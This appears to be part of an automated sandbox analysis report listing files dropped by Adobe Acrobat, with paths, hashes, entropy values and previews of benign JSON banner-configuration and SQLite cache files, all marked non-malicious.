Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350424885091923
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJM3g98kUwPeUkwRe9:YvXKXh0cQJZGMbLUkee9
MD5:	4DA8E23976E72BF074E27B14912BC754
SHA1:	DD2CC19D5FD3B03BA017994B3D68F48BB7971179
SHA-256:	9E8E1E7475F4A42A2D48CD859F33BD3051D9C18FF617301CD57A421F356F25FC
SHA-512:	BBAFA38E96E8E4825EDC1F5808217A29B460F8379BE2146B8EA0397BBD9C3CEDFD8C349FD3E59B7B8A66D06C9BC438A360F688442D0B2778E76D77578EC133DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299285436451339
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJfBoTfXpnrPeUkwRe9:YvXKXh0cQJZGWTfXcUkee9
MD5:	F832A50C247A16FECA4C67840B17637C
SHA1:	7FFC4BCDDECB6BF6348B17ADBAA9A78ADC6E6406
SHA-256:	586DB14CEDB64AFCB1EBAFCDADDDB896ED584FED26DEAFFB7B79381BA15BD82A
SHA-512:	A96A743E813F12B6BE889866F5FD9E0E467318EA2BD49A917C5989E0DE812583F9BA19373D9C117490FBC70045D8DC36370CB252E1810BD8A3CA5681470210D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.278553230366009
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJfBD2G6UpnrPeUkwRe9:YvXKXh0cQJZGR22cUkee9
MD5:	79699A7849ADAC1D9BDAAB05E3FA9635
SHA1:	EA25F0A0DFCCF4E3E2A983584F7DEEAC02BA1D3C
SHA-256:	D6876A8543CBE6B43FE66AE40F00EE2B0CA5ED54C32C8D2D7E80801F1F260252
SHA-512:	E6C638BE6516A600E49FDAA343B3AB35D059B69FF8F83067DC9712D179A96B5D14ECD74824855513ADE875AA150D2DD3BEA147B36CDA517CD85C8F01FB88776A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3299934782567275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJfPmwrPeUkwRe9:YvXKXh0cQJZGH56Ukee9
MD5:	AF16794AE51B58D8C4115F9119634DDB
SHA1:	56A830237B470F4AD7AA363B41E6E4A129E662E1
SHA-256:	5E5C0B44E1F4E9E3C19914C98F394A66277D466B4A05B071378E9A1C226772C7
SHA-512:	6BF937CC5B0D2FDD413761369B2E57C82730055DA156C1B42C724DA2C19B5335356AA78B330889D0FBAD9F25C84B67854CCC5202E5E421C29F1ECEF766EDEE05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68720963821132
Encrypted:	false
SSDEEP:	24:Yv6XhZZpLgE9cQx8LennAvzBvkn0RCmK8czOCCSz4:Yvkhgy6SAFv5Ah8cv/z4
MD5:	5729458350F931FD6FE094F7773F9274
SHA1:	7174E0E5A6A52D6C2FB9FDF5EF17A6E992B2DFDB
SHA-256:	9C1B48677BD54FF36948B68A1525962C41E2EC3B00B6AB835DE13C00E1ADAE8D
SHA-512:	FA803CA4656AD6F5AF8027A7E0AE9C89BA067D161AEBB665C60A36D7E35888F4BE09443E664543448AEA71FA2FE41C45EE0B86BC11DEDB2F978EC21820E9BED1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2788210200154895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJf8dPeUkwRe9:YvXKXh0cQJZGU8Ukee9
MD5:	9419F4E647CF2AF092AD2005BD3D40BC
SHA1:	CAC8E1B00283C2B85D4043D80E4D2DAE721E0AF8
SHA-256:	ABCBCF86569B450C5D190BA8AD6C53CF6C256FEC6346C07E7ECAFF8516113AD7
SHA-512:	B1C3F280D09769781F7F62479B7B3A89E854692F3F5E114671205868270FBC35CD3C1C73A6B4B240A99D10897142C532229DEE905BE1BAD1620015EA94EF403A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.281981663813809
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJfQ1rPeUkwRe9:YvXKXh0cQJZGY16Ukee9
MD5:	1E4CB7AF37DFD6A3273E06A540B291DD
SHA1:	04A28B9147D25C039429161ABBA2C3668DFE244F
SHA-256:	5EB28F968621DA7DA85DCF752F9A7860E1D8A7DFA1A9CC88E999129036C47F5E
SHA-512:	DA35278FBE156A8069882740941672123F8EEDD78CEE597CC8EF8289EDD30A76032E374F2173CA2DD9040DF8A9A1DFE8FC15FD5BEFDCC7F1E1105B128BDDEC68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289810690666345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJfFldPeUkwRe9:YvXKXh0cQJZGz8Ukee9
MD5:	63AAEF6A33932554987A9DDB59FE32E4
SHA1:	1D30E13344CB0CEE17891C1D9E32ABC0DF069C11
SHA-256:	8E048D013BEC3BF824483D6F76BD03739DA86B6570B376200D3BD9DD865DCF4C
SHA-512:	37B21A1A5F5EFCFE9A9ECB254AC14F46DF2B1B93AC2D12F1828A770FFC98CBEC0387153DB4EFED71B0011CBF32CA2542272D340AA78E4CBE7D38F23A4DA5FA42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.304637297181759
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJfzdPeUkwRe9:YvXKXh0cQJZGb8Ukee9
MD5:	762FCC54624A5F2A7AD2BB908392C6CF
SHA1:	759AAC4782BA4B572D198FAA5C09D9F8F518EA5B
SHA-256:	9826B0AFEBDA0155EDF4382B148E8C3C047CDDCD10A361581E5D9B3351E15F0E
SHA-512:	EC9431713614DA4A0A50E2FED76B633C6B733E4E7A9B6968B48650C1291F35A4D03FBC5E118E336D9362DBBA1DE5654FEA32A95B4428DD8831B83537BE6D05B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285515640215627
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJfYdPeUkwRe9:YvXKXh0cQJZGg8Ukee9
MD5:	894B1963482E62239E151E70045DCCA3
SHA1:	6E0B3A976D0E21D841A469315FDAEBBE128E7256
SHA-256:	4508ED3A55881257156A0D9AF9CBFF364F80D480DE8F206E4FF68D6198CC673A
SHA-512:	E0901F9DBF8242BC9214E84D83C4662FA055817B488B7D3802F26A6C7C47E69EE45CB91860EBC4E58D5105F6D93143D064955E5F88156B1BB379E2ADCE04584C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2718923603247285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJf+dPeUkwRe9:YvXKXh0cQJZG28Ukee9
MD5:	7EB3CF9E091CAA5FC213B4AE1A6EC3CC
SHA1:	C62EC340B643326767532DEAD20230858FFB76E5
SHA-256:	43BC39DCFD7997B47753516843051D66AE79506358E1130C0B6250C6773D533B
SHA-512:	8025A754E875434BF8E8FD66CBB19D1B80B041F12671A8897A308A920FC97046A899158A15FF9A193BCFE3D38252F11656388CDA6152CDD562D0CE3B154DA187
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.269162286753988
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJfbPtdPeUkwRe9:YvXKXh0cQJZGDV8Ukee9
MD5:	A7227A68FE1267D81790CC243DC70298
SHA1:	B2277AAC20C18C84DCDF575D86B794BF2C0DD990
SHA-256:	CBE1F141AA3050F5CE320E4F594BCF369D1CB45D834821AF2CFB6AEB97A84D15
SHA-512:	931CF0FC0BB563139EEC46944D09A5D5B2E6F0137341A267DF7B4C09DEFF5C3DC849F9041AF8FF74479C17EC2C6FD512CFD31FB4BEADF8906FC06889093D2663
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272918398651296
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJf21rPeUkwRe9:YvXKXh0cQJZG+16Ukee9
MD5:	2817EA16670D8095ECAA761003112AA4
SHA1:	3D877BF63DDB8DDBE78FBA47409DF9167F4433DF
SHA-256:	D0CC83E92ECE3BEC99CC023D44135EFBF8AFE237470B13F39FAEDCFCF45472ED
SHA-512:	380E06D06DBD589B8146ABAEE186943FB5DC55621AAF20AB4A6A79090864665DF24ACA86FC5A31CABFE03EDB8E5D8B88F24E097551A4D3EB988C2541EA8C3360
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6631957835238715
Encrypted:	false
SSDEEP:	24:Yv6XhZpamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSz4:YvGBgkDMUJUAh8cvMz4
MD5:	3C2E9367B5725DDC4651475196D615C9
SHA1:	F8C900DAA13D891C17A7290F039B98297FF645F3
SHA-256:	2CF40BBA70999D2C89E6D8B5E42B7C61C1D70F136B3078F3CE6AA54BD60E8C68
SHA-512:	890C609E35C25E4CB894E6126289EC8E896A7BB3D90B2B76A81CDB1C78A9C3F711093E822125A30510D3B8C070FCE01CE01D93A912D051369DB3FC71C5056EBE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.250499704271489
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJfshHHrPeUkwRe9:YvXKXh0cQJZGUUUkee9
MD5:	0B542D2D04DE91AB3A20C87189C40847
SHA1:	CE76B486E89D8EE5ADB757800D05C68972F24714
SHA-256:	A3AF45B425DFB0BCF2E3B18569B1E5C498C8E7FDD3FAEB7BDAC2AE5614E069B8
SHA-512:	FC917648552608CB394A1E77D5D7136065A14B88A43A7FA872F3047E4B4221C612BC8B0DDC7A5F84BFC1F3AF5CC21C02B40517FF5D59029920835B5DB7B5CD59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2580718412335195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcEjd0nZiQ0YrJ2DoAvJTqgFCrPeUkwRe9:YvXKXh0cQJZGTq16Ukee9
MD5:	D2BBDA577DADFF3147B753DE0147D4A7
SHA1:	E15673F3FEB3A27EC9537FF8BD9ABCE7B1364B36
SHA-256:	E04C2197234D7E914805BE22FD19EF72752D753A0D2680455F7EF2F3C05CCA81
SHA-512:	E2E618C34986CD37095B1FBDB91B1966FC027D0447EC25149FDA9944017E9F1ED5CF639A01CE331403E53F297CFF08CD1F2090F7E4D749F448AC3C09E34A97FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49178290-50c3-4db2-afe8-af4f3efaa5e6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736711585249,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1436788197174605
Encrypted:	false
SSDEEP:	48:Y2j2jF1MvQACD4tJZjgkLaQdI7kpZ+hOZqmmFv5/O/93Td:52jF1qQAO4tJZjXaQdI7kW1mmFv5a3Td
MD5:	CB46DBC7EE6EB4A73F9B0EA44E251C3C
SHA1:	E87D71E0E00ECE9E73B80AC7127F956D7EBD7965
SHA-256:	78CD0800060EC9C0B375D0AA0A529E720082484D28111F78B50960E8CCAD3E32
SHA-512:	74A4E9D74B0A324C9CC0F27F1416389980ADB2DED13901A06382C380094097E4F246CE21D9A0E2030D1B23C71B346CCE03BA4BC24E066638D41F08387EE5A4B9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1285635df428623133d768a99ba23ff3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736537029000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2c3db7842accdc5db1b67c80e9d08c5e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736537029000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"00acccd1b44965ea956900697a72e49f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736537029000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7042e81e72d015b49ccd594906f2f505","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736537029000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"70f8bf6d30c8fdbb99eca8de9201d073","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736537029000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b5f2566e22d459b7cd3251172244fec6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1463450960948467
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursED8SRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUuo:TFl2GL7msEDFXc+XcGNFlRYIX2v3kJDr
MD5:	DA84799D72B35A26AA5E669958151FF4
SHA1:	FB97E456277FEC758B28CFA11C6FA8386A45585A
SHA-256:	C995B3ED562ED38C1FBD480962F68379B49AB5FC79FE0647EF30289CFB21DA79
SHA-512:	00742A942FF553304F4AB7BBE0E8C56BBC571F68017148208B3B402F3B60C9D4FD7189A2EBD9BB15BF0EE908178D82D5CCD70E0BA68A50DC9BBB6E329A64B491
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5514928764120486
Encrypted:	false
SSDEEP:	24:7+tGJD8SUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxbqLxx/m:7MGJDqXc+XcGNFlRYIX2vGqVl2GL7msM
MD5:	637AD850D6573CED41DDE11581FF85A8
SHA1:	803AE89F09C793D5D1524E086E74A1633E380826
SHA-256:	DBCCBDAEC08D3CC003D1BC9A4D134B52849D6608FE94EBCB7F55BC4EE7FF6ABB
SHA-512:	0C58F305079D6627872648A94BCA81FABF198E869C87651A99CA8AC8DDDDD0085C6097F6C2D7FCF430F0831A0F4B9E0130E341F23F144C283BA710B7622B5303
Malicious:	false
Preview:	.... .c......U............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgsjqsIRKGC5Lcua4T5g8bpkFHPYyu:6a6TZ44ADEoqsrLDBT5rkFvK
MD5:	766A0747DFB28E38EF2CF68CE48D9B8B
SHA1:	EEB71863B3C4931B1AB6650BE68EB7BB364950AE
SHA-256:	C39F0D497A0A20C6DB5D0B23361DF3AF98B703EE4665AD152119787FD4C4CAED
SHA-512:	706A31920F2AB8E31357C08707F6B73E0C2CEBE86514B68A515BFFD6CFAB4E1C4224E0E8E1CFCAB43FFF77D8FD54CEAEE0BE3A997B97CFE48D0636D104682909
Malicious:	false
